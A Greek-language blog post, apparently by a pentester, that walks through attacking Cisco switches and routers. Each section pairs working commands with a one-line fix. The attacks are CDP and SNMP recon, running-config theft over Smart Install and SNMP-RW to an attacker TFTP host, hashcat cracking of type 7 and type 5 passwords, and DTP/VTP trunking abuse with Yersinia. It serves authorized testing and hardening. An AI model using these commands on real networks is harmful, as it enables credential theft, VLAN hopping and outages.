Πίσω στο blog

English  ·  Ελληνικά

Cisco / Επιθετικο  ·  Ασφαλεια  ·  Ιουλιος 2026

Επιθεσεις σε Cisco Εξοπλισμο
Οδηγος Πεδιου για Pentester

Όλη η σειρά μέχρι τώρα χτίζει και θωρακίζει IOS. Αυτό το post είναι η άλλη πλευρά του τραπεζιού: τι τρέχω στην πράξη πάνω σε ένα Cisco switch ή router σε ένα engagement, και γιατί δουλεύει κάθε επίθεση. Κάθε τεχνική εδώ αντιστοιχεί σε μια διόρθωση μίας γραμμής από παλιότερα posts — αυτό είναι το νόημα. Θωρακίζεις αυτό που καταλαβαίνεις ότι δέχεται επίθεση.

Cisco IOS Επιθετικο Pentest Smart Install SNMP Layer 2

Επιτιθεμενος on-LAN / access port Catalyst / ISR στοχος IOS CDP leak · SNMP · SMI 4786 DTP trunk-negotiation · VTP running-config creds · SNMP · κλειδια exfil Οι περισσότεροι συμβιβασμοί Cisco είναι configuration, όχι κώδικας — παλιά defaults που έμειναν ανοιχτά, όχι zero-days.
◆ Scope & Εξουσιοδοτημενη Χρηση

Όλα τα παρακάτω είναι για εξουσιοδοτημένο security testing — δικό σου lab, ένα CTF, ή ένα engagement με γραπτό scope — και για να δείξουν στους defenders ακριβώς τι θωρακίζουν. Το να τα τρέξεις πάνω σε εξοπλισμό που δεν σου ανήκει ή δεν έχεις contract να τεστάρεις είναι παράνομο. Οι εντολές υποθέτουν lab (GNS3/CML/EVE-NG ή kit στον πάγκο σου)· το κέρδος είναι η διόρθωση σε κάθε ενότητα, cross-linked με τα αμυντικά posts της σειράς.

Να η άβολη αλήθεια από χρόνια network pentests: σχεδόν ποτέ δεν κάνεις exploit σε ένα Cisco box με την έννοια CVE. Το μαζεύεις. Η συσκευή σου δίνει το ίδιο της το config μέσα από ένα management protocol που κανείς δεν έκλεισε, ή ένα access port διαπραγματεύεται μόνο του σε trunk, ή ένα «προσωρινό» SNMP community από το 2014 είναι ακόμα private. Η επιφάνεια επίθεσης είναι το άθροισμα κάθε default που ο τελευταίος engineer δεν απενεργοποίησε.

Αυτός ο οδηγός περπατά το πραγματικό kill-chain με τη σειρά: recon (CDP/LLDP και SNMP σου δίνουν μοντέλο, έκδοση IOS, και management IP δωρεάν), κλοπή config (Smart Install και SNMP-RW δίνουν και τα δύο running-config χωρίς authentication), cracking credentials (οι τύποι κωδικών σε αυτό το config, από το τετριμμένα αναστρέψιμο type 7 μέχρι το crackable type 5), και κατάχρηση Layer-2 (DTP και VTP, οι επιθέσεις switch που σε βάζουν σε VLAN που δεν θα έπρεπε να φτάνεις). Κάθε ενότητα κλείνει με τη μία εντολή που την κλείνει.

Ταιριαζει με

01

Recon — Η Συσκευη Συστηνεται Μονη Της Παθητικο

Πριν αγγίξεις οτιδήποτε, άκου. Το Cisco Discovery Protocol κάνει broadcast την ταυτότητα της συσκευής σε κάθε access port κάθε 60 δευτερόλεπτα — μοντέλο, έκδοση IOS, native VLAN, και management IP, χωρίς auth. Είναι το πιο φιλικό recon στο networking.

Επιτιθεμενος (on-LAN) — sniff CDP/LLDP, μετα fingerprint μεσω SNMP
# Τα CDP frames γίνονται multicast στο 01:00:0c:cc:cc:cc κάθε ~60s.
# Κάτσε σε access port και περίμενε ένα interval.
$ tcpdump -nn -v -i eth0 'ether host 01:00:0c:cc:cc:cc' -c 1
  Device-ID 'CoreSW1.corp.local'  Version 'Cisco IOS ... Version 15.2(4)E7'
  Platform 'cisco WS-C2960X-48'  Address 10.10.0.2  Native VLAN 99  VTP 'CORP'

# Αυτό το ένα frame μας έδωσε μοντέλο, IOS train, mgmt IP, native VLAN, VTP domain.
# Τώρα επιβεβαίωσε SNMP και μάντεψε communities (public/private/cisco είναι αιώνια).
$ onesixtyone -c /usr/share/wordlists/snmp.txt 10.10.0.2
10.10.0.2 [private] Cisco IOS Software, C2960X ... Version 15.2(4)E7

$ snmpwalk -v2c -c private 10.10.0.2 | head   # RW community — jackpot
◆ Η Διορθωση — Κλεισε Οτι Δεν Χρειαζεσαι

Το CDP ανήκει ανάμεσα στις δικές σου συσκευές, ποτέ προς χρήστες ή το edge: no cdp run global, ή no cdp enable ανά μη έμπιστο interface (προτίμησε LLDP μόνο όπου ένα τηλέφωνο πραγματικά το χρειάζεται). SNMP: σκότωσε τελείως v1/v2c και πέρνα σε SNMPv3 με auth+priv — δες Observability. Αν πρέπει να υπάρχει community string, ποτέ δεν είναι λέξη λεξικού, και τα RW communities δεν έχουν κανέναν λόγο να υπάρχουν στα περισσότερα δίκτυα.

02

Smart Install — Το Μηχανημα Πωλησης Config Χωρις Authentication

Το Smart Install (SMI) είναι ένα feature zero-touch provisioning που ακούει στο TCP 4786 και, σε unpatched/unconfigured switches, θα δεχτεί ένα craft-αρισμένο μήνυμα που κάνει το switch να στείλει το ίδιο του το running-config μέσω TFTP σε μια διεύθυνση της επιλογής σου — χωρίς credentials. Ερχόταν ενεργό σε μια γενιά Catalyst και είναι ακόμα παντού.

Επιτιθεμενος — εντοπισε SMI, μετα τραβηξε το config (SIET / Nmap)
# 1. Ακούει το Smart Install; (TCP 4786)
$ nmap -p4786 -sV --script cisco-smart-install 10.10.0.0/24
10.10.0.2  4786/tcp open  smart-install
  | cisco-smart-install: Device is a Smart Install Client and vulnerable

# 2. Ξεκίνα TFTP server για να πιάσεις το loot.
$ sudo atftpd --daemon --port 69 /tmp/loot

# 3. SIET: πες στο switch να αντιγράψει το running-config σε μας μέσω TFTP.
$ python3 siet.py -g -r 10.10.0.2 -l 10.10.0.66
[*] Sending config-copy request to 10.10.0.2 ...
[+] Received CoreSW1-confg (14 KB) -> /tmp/loot/CoreSW1-confg

# Το πλήρες running-config, με κάθε password hash και κλειδί, χωρίς authentication.
$ grep -E 'secret|password|snmp|key ' /tmp/loot/CoreSW1-confg
⚠ Παγιδα — «Ποτε Δεν Κανουμε Configure το Smart Install»

Αυτό είναι ακριβώς το πρόβλημα. Το SMI είναι on by default όταν δεν υπάρχει vstack configuration — η απουσία config είναι η ευάλωτη κατάσταση, όχι η παρουσία της. Το show vstack config που αναφέρει τον ρόλο ως Client (SmartInstall enabled) σε ένα switch που ποτέ δεν προοριζόταν να γίνει provision έτσι είναι το τεκμήριο. Αυτό το ένα feature έχει οδηγήσει σε μαζικές internet-wide καμπάνιες κλοπής config· αντιμετώπισε οποιοδήποτε εκτεθειμένο 4786 σε χρήστες ως πλήρη συμβιβασμό.

◆ Η Διορθωση — Μια Εντολη

Το no vstack στο global config απενεργοποιεί εντελώς το Smart Install. Αν πραγματικά δεν μπορείς (σπάνιο), περιόρισε το 4786 με ACL μόνο στον provisioning server. Επαλήθευσε με show vstack config → Role: Client (SmartInstall disabled). Αυτό είναι το one-liner με τη μεγαλύτερη αξία σε όλη τη σειρά θωράκισης.

03

SNMP-RW — Αντιγραφη Config Με Ενα Set Αναγνωση-Εγγραφη

Ένα read-write SNMP community δεν είναι «διάβασε μερικά OID» — είναι ένα API μέσα στη συσκευή. Με το CISCO-CONFIG-COPY-MIB λες στο switch να στείλει το running-config του σε σένα μέσω TFTP, χρησιμοποιώντας μόνο snmpset. Ίδιο loot με το Smart Install, διαφορετική ξεκλείδωτη πόρτα.

Επιτιθεμενος — οδηγησε το ccCopyTable για exfil running-config μεσω TFTP
# RW community 'private' από το recon. Row index 111 είναι αυθαίρετο.
# ccCopyProtocol=1(tftp) SourceFileType=4(running) DestFileType=1(networkFile)
$ snmpset -v2c -c private 10.10.0.2 \
    1.3.6.1.4.1.9.9.96.1.1.1.1.2.111 i 1 \
    1.3.6.1.4.1.9.9.96.1.1.1.1.3.111 i 4 \
    1.3.6.1.4.1.9.9.96.1.1.1.1.4.111 i 1 \
    1.3.6.1.4.1.9.9.96.1.1.1.1.5.111 a "10.10.0.66" \
    1.3.6.1.4.1.9.9.96.1.1.1.1.6.111 s "CoreSW1.cfg" \
    1.3.6.1.4.1.9.9.96.1.1.1.1.14.111 i 1       # RowStatus=createAndGo
  ... ccCopyState.111 = running   ->   success

# Το config καταλήγει στον TFTP server σου. Το Metasploit το έχει έτοιμο:
$ msfconsole -qx "use auxiliary/scanner/snmp/cisco_config_tftp; \
    set RHOSTS 10.10.0.2; set COMMUNITY private; run; exit"
◆ Η Διορθωση — Οχι v2c, Οχι RW, Τελος

Όλη η επίθεση πεθαίνει χωρίς ένα RW community που μπορεί να μαντευτεί. Μετανάστευσε σε SNMPv3 (authPriv), αφαίρεσε κάθε γραμμή snmp-server community, και αν το legacy v2c είναι αναπόφευκτο, δέσε το read-only σε ένα management ACL και χρησιμοποίησε τυχαίο string 20+ χαρακτήρων — ποτέ public/private/το hostname. Δες Observability για το build v3. Bonus: κατέγραψε τα events config-copy του snmp-server σε syslog ώστε μια απόπειρα exfil να είναι ορατή.

04

Cracking Οτι Υπαρχει στο Config

Έχεις το running-config. Τώρα τα password hashes μέσα του γίνονται creds — και οι «τύποι» κωδικών της Cisco κυμαίνονται από στιγμιαία αναστρέψιμοι μέχρι πραγματικά ισχυροί. Το να ξέρεις ποιος είναι ποιος σου λέει τι αξίζει cracking και τι πέφτει σε δευτερόλεπτα.

Type στο configΑλγοριθμοςΠροσπαθεια Επιτιθεμενου
password 7 09424B1C…Vigenère (obfuscation)Στιγμιαιο — αναστρέψιμο, όχι hash
secret 5 $1$…MD5-cryptΓρηγορο — hashcat -m 500
secret 4 $4$…plain SHA-256 (σπασμένη υλοποίηση)Γρηγορο — deprecated από Cisco
secret 8 $8$…PBKDF2-SHA256Αργο — hashcat -m 9200
secret 9 $9$…scryptΠιο αργό — hashcat -m 9300
Επιτιθεμενος — reverse το type 7 στιγμιαια, crack το type 5 offline
# Το Type 7 ΔΕΝ είναι encryption — είναι αναστρέψιμο obfuscation. Decode στιγμιαία:
$ echo '09424B1C0007' | ciscot7 -d -
  cisco
# (οποιοσδήποτε decoder type-7 το κάνει· δεν υπάρχει τίποτα να «σπάσεις»)

# Type 5 (MD5-crypt) — τράβα το από το config και πέτα του ένα wordlist.
$ grep 'secret 5' CoreSW1-confg
  enable secret 5 $1$mERr$hx5rVt7rPNoS4wqbXKX7m0
$ hashcat -m 500 -a 0 '$1$mERr$hx5rVt7rPNoS4wqbXKX7m0' rockyou.txt
  $1$mERr$hx5rVt7rPNoS4wqbXKX7m0:cisco123
⚠ Παγιδα — Το service password-encryption Ειναι Θεατρο

Αυτή η εντολή εφαρμόζει μόνο type 7 σε plaintext κωδικούς στο config — το αναστρέψιμο είδος. Σταματά κάποιον που κοιτάζει πάνω από τον ώμο σου, τίποτα παραπάνω· όποιος έχει το config έχει το cleartext σε μία εντολή. Δεν είναι υποκατάστατο πραγματικού hashing. Χρησιμοποίησε enable secret (ποτέ enable password), και προτίμησε type 8 ή 9 για τοπικούς χρήστες: username admin algorithm-type scrypt secret <pw>. Αυτές είναι οι δύο γραμμές που στενάζει ένας επιτιθέμενος.

05

Layer 2 — DTP & VTP, τα Δικα του Οπλα του Switch

Δεν χρειάζεσαι πάντα το config. Αν ένα access port διαπραγματευτεί trunk, παίρνεις κάθε VLAN. Το Dynamic Trunking Protocol (DTP) είναι on by default σε πολλά ports, και είναι επίθεση ενός εργαλείου.

Επιτιθεμενος — διαπραγματευσου trunk, μετα φτασε καθε VLAN
# Αν το port είναι 'dynamic auto/desirable', το DTP θα κάνει trunk μαζί μας ευχαρίστως.
# Το Yersinia πλαστογραφεί DTP για να γυρίσει το port σε trunk.
$ yersinia dtp -attack 1 -interface eth0
  [+] Enabling trunking on the attached port ...

# Τώρα δημιούργησε ένα subinterface ανά VLAN που είδαμε στο CDP και είμαστε σε όλα.
$ vconfig add eth0 20 && ip addr add 10.20.0.66/24 dev eth0.20
$ ip link set eth0.20 up && ping 10.20.0.1   # VLAN 20 gateway — προσβασιμο

# VTP: αν το domain δεν έχει authentication, κάνε inject μια διαφήμιση
# υψηλότερου revision για να ξαναγράψεις/καθαρίσεις τη βάση VLAN σε όλο το fleet (DoS).
$ yersinia vtp -attack 0 -interface eth0
◆ Η Διορθωση — Κλειδωσε τα Access Ports

Σε κάθε user/access port: switchport mode access και switchport nonegotiate ώστε το DTP να μην μπορεί ποτέ να διαπραγματευτεί trunk. Βάλε ένα αχρησιμοποίητο, tagged native VLAN στα πραγματικά trunks (σκοτώνει και το double-tagging), και είτε τρέξε VTP transparent είτε βάλε VTP password ώστε οι injected διαφημίσεις να απορρίπτονται. Αυτό είναι ο πυρήνας του Ασφαλεια Switch — οι επιθέσεις DTP/VTP υπάρχουν ακριβώς επειδή τα defaults είναι «διαπραγματεύσου ελεύθερα».

06

Το Checklist Config του Επιτιθεμενου

Όταν παίρνω ένα running-config σε ένα engagement, αυτό είναι το πέρασμα grep — οι γραμμές που γίνονται findings. Τρέξ' το πρώτα πάνω στα δικά σου configs.

Ψαξε γιαΓιατι ειναι finding
απουσία no vstackSmart Install εκτεθειμένο — κλοπή config χωρίς auth (§02)
snmp-server communityv1/v2c community· RW = πλήρης συμβιβασμός (§03)
enable password / password 7Αναστρέψιμο ή αδύναμο· ισοδύναμο με cleartext (§04)
secret 5 / secret 4Crackable/deprecated hashes — πέρνα σε 8/9 (§04)
switchport mode dynamicΔιαπραγμάτευση trunk μέσω DTP → VLAN hopping (§05)
no transport input / telnetCleartext management· sniffable creds — μόνο SSH
cdp run στο edgeΔωρεάν recon σε οποιοδήποτε user port (§01)
vtp mode server + χωρίς passwordInjection στη βάση VLAN / DoS σε όλο το fleet (§05)

Συμπερασματα

  1. Μαζεύεις τα Cisco boxes, δεν τα κάνεις exploit. Η επιφάνεια επίθεσης είναι κατάλοιπα defaults — management protocols που κανείς δεν απενεργοποίησε, όχι zero-days.
  2. Το recon είναι δωρεάν. Το CDP δίνει μοντέλο/έκδοση/mgmt-IP/VLAN σε κάθε access port· το SNMP με μαντεμένο community κάνει fingerprint τα υπόλοιπα. no cdp run στο edge, μόνο SNMPv3.
  3. Το Smart Install είναι ο στόχος με τη μεγαλύτερη αξία. TCP 4786 χωρίς vstack config = κλοπή running-config χωρίς auth. Το no vstack το κλείνει σε μία γραμμή.
  4. Το SNMP-RW είναι ένα API αντιγραφής config. Μία ακολουθία snmpset στέλνει το config μέσω TFTP στον επιτιθέμενο. Σκότωσε v2c και κάθε RW community.
  5. Μάθε τους τύπους κωδικών. Το type 7 είναι στιγμιαίο, το type 5 σπάει γρήγορα, τα types 8/9 αντιστέκονται. Το service password-encryption δεν προστατεύει τίποτα ουσιαστικό.
  6. Το Layer 2 είναι ένας δρόμος μέσα. Το DTP διαπραγματεύεται trunks από access ports· το VTP ξαναγράφει βάσεις VLAN. switchport mode access + nonegotiate και ένα VTP password κλείνουν και τα δύο.
  7. Κάθε επίθεση εδώ έχει διόρθωση μιας γραμμής που ήδη καλύπτεται στα αμυντικά posts. Το offense είναι απλώς το επιχείρημα για το γιατί τα τρέχεις.

Θελεις να μαθεις τι δινουν τα switches σου προτου το μαθει καποιος αλλος;

Τρέχω εξουσιοδοτημένα penetration tests και configuration audits σε Cisco και MikroTik estates — Smart Install, SNMP strings, αδύναμα credentials, έκθεση Layer-2 — και παραδίδω ακριβώς ό,τι θα είχε βρει πρώτος ένας επιτιθέμενος.

Κλεισε μια Discovery Call →